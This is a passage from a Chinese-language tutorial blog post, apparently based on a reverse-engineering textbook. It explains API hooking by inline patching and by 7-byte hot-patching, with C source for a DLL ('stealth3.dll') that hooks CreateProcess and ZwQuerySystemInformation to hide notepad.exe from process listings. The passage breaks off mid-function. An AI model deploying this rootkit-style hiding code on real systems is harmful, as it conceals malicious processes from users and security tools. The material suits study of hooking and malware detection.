p = strrchr(szCurProc, '\\');
if( (p != NULL) && !_stricmp(p+1, "HideProc2.exe") )
return TRUE;
// change privilege
SetPrivilege(SE_DEBUG_NAME, TRUE);
switch( fdwReason )
{
case DLL_PROCESS_ATTACH :
// hook
hook_by_code("kernel32.dll", "CreateProcessA",
(PROC)NewCreateProcessA, g_pOrgCPA);
hook_by_code("kernel32.dll", "CreateProcessW",
(PROC)NewCreateProcessW, g_pOrgCPW);
hook_by_code("ntdll.dll", "ZwQuerySystemInformation",
(PROC)NewZwQuerySystemInformation, g_pOrgZwQSI);
break;
case DLL_PROCESS_DETACH :
// unhook
unhook_by_code("kernel32.dll", "CreateProcessA",
g_pOrgCPA);
unhook_by_code("kernel32.dll", "CreateProcessW",
g_pOrgCPW);
unhook_by_code("ntdll.dll", "ZwQuerySystemInformation",
g_pOrgZwQSI);
break;
}
return TRUE;
}
从以上代码可以看出,与之前代码并无太大变化,在勾取时同时勾取了CreateProcessA和CreateProcessW函数,还需要注意的是由于勾取了这两个函数,所以在进程注入的时候不需要再用OpenProcess来获取进程Handle了能直接通过openProcess的参数lpProcessInformation->hProcess来获取,不过上面的代码仍然没有用到ZwResumeThread(),这一函数的勾取将在后面提到。
“热补侗7字节修改
7字节修改原理是由于部分API起始部分有7字节“无意义代码”如图:
从图中可以看到API是从MOV EDI EDI开始的,而它是无意义的,并且前面还有5个NOP命令,所以只要修改MOV EDI EDI为跳转命令(EB F9,这是通用短跳转,只要用到这个技术,他就不必修改)使它跳转到第一个NOP命令,再把5个NOP命令改为一个长跳转命令,JMP XXXXXXXX,是XXXXXXXX指向自定义代码就可以达到勾取函数的目的。
需要注意的是:
1.并非所有API都有前7个无意义字节,所有使用是需要具体查看
2.地址XXXXXXXX在编码中并非真是RVA的硬编码,而是通过公式计算:
地址XXXXXXXX=(DWORD)pfnNew-(DWORD)pFunc
实际上通用的跳转地址计算公司为
地址XXXXXXXX=(DWORD)pfnNew-(DWORD)pFunc-指令长度
而此处是因为当前地址(NOP*5)为pFunc-5,将它带入上面的公式就得到了第一个公式。
短跳转地址F9是怎么算出来的呢?
因为短跳转当前位置为pFunc目的地址为pFunc-5,指令长度为2故而(pFunc-5)-pFunc-2=-7=0xF9(程序员计算器可以算出来)
思路写完,累了就直接贴代码了
注入代码与上面HideProc2完全一样
热补丁源代码在stealth3.dll中
stealth3.dll
#include "windows.h"
#include "stdio.h"
#include "tchar.h"
#define STR_MODULE_NAME (L"stealth3.dll")
#define STR_HIDE_PROCESS_NAME (L"notepad.exe")
#define STATUS_SUCCESS (0x00000000L)
typedef LONG NTSTATUS;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
BYTE Reserved1[52];
PVOID Reserved2[3];
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
typedef NTSTATUS (WINAPI *PFZWQUERYSYSTEMINFORMATION)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
typedef BOOL (WINAPI *PFCREATEPROCESSA)(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
typedef BOOL (WINAPI *PFCREATEPROCESSW)(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
BYTE g_pOrgZwQSI[5] = {0,};
BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
{
FARPROC pFunc;
DWORD dwOldProtect, dwAddress;
BYTE pBuf[5] = {0xE9, 0, };
PBYTE pByte;
pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pFunc;
if( pByte[0] == 0xE9 )
return FALSE;
VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
memcpy(pOrgBytes, pFunc, 5);
dwAddress = (DWORD)pfnNew - (DWORD)pFunc - 5;
memcpy(&pBuf[1], &dwAddress, 4);
memcpy(pFunc, pBuf, 5);
VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);
return TRUE;
}
BOOL hook_by_hotpatch(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew)
{
FARPROC pFunc;
DWORD dwOldProtect, dwAddress;
BYTE pBuf[5] = { 0xE9, 0, };
BYTE pBuf2[2] = { 0xEB, 0xF9 };
PBYTE pByte;
pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pFunc;
if( pByte[0] == 0xEB )
return FALSE;
VirtualProtect((LPVOID)((DWORD)pFunc - 5), 7, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 1. NOP (0x90)
dwAddress = (DWORD)pfnNew - (DWORD)pFunc;
memcpy(&pBuf[1], &dwAddress, 4);
memcpy((LPVOID)((DWORD)pFunc - 5), pBuf, 5);
// 2. MOV EDI, EDI (0x8BFF)
memcpy(pFunc, pBuf2, 2);
VirtualProtect((LPVOID)((DWORD)pFunc - 5), 7, dwOldProtect, &dwOldProtect);
return TRUE;
}
BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)
{
FARPROC pFunc;
DWORD dwOldProtect;
PBYTE pByte;
pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pFunc;
if( pByte[0] != 0xE9 )
return FALSE;
VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
memcpy(pFunc, pOrgBytes, 5);
VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);
return TRUE;
}
BOOL unhook_by_hotpatch(LPCSTR szDllName, LPCSTR szFuncName)
{
FARPROC pFunc;
DWORD dwOldProtect;
PBYTE pByte;
BYTE pBuf[5] = { 0x90, 0x90, 0x90, 0x90, 0x90 };
BYTE pBuf2[2] = { 0x8B, 0xFF };
pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pFunc;
if( pByte[0] != 0xEB )
return FALSE;
VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 1. NOP (0x90)
memcpy((LPVOID)((DWORD)pFunc - 5), pBuf, 5);
// 2. MOV EDI, EDI (0x8BFF)
memcpy(pFunc, pBuf2,
本文地址:http://www.45fan.com/dnjc/70793.html